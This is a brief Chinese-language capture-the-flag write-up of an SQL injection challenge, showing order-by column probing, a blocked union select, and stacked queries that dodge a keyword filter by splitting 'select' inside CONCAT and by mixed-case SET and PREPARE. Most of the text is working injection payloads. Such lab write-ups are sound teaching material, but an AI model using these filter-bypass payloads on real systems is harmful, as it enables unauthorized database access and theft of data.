用二分法查看列数(有两列)
1' order by 2 #
1' order by 3 #
接下来union联合查询,发现select被过滤了 -1' union select 1,2 #
需要绕过select的过滤
堆叠查询+预编译
我们发现这里可以执行多sql语句,所以我们可以采用堆叠查询,那我们查询表名,结果如下
查询表中的列名
我们发现flag在第一个表中,查看表中的内容,但是select被过滤 想要绕过过滤 我们这里采用了预编译的方法绕过
;set @sql = CONCAT('sele','ct * from `1919810931114514`;');prepare aaa from @sql;EXECUTE aaa;#
但是执行后出现了下图所示的结果
这里同时过滤了set和prepare 我们同时也要绕过他,我们采用大小写的方式进行绕过
;sEt @sql = CONCAT('sele','ct * from `1919810931114514`;');prepArE aaa from @sql;EXECUTE aaa;#
拿到flag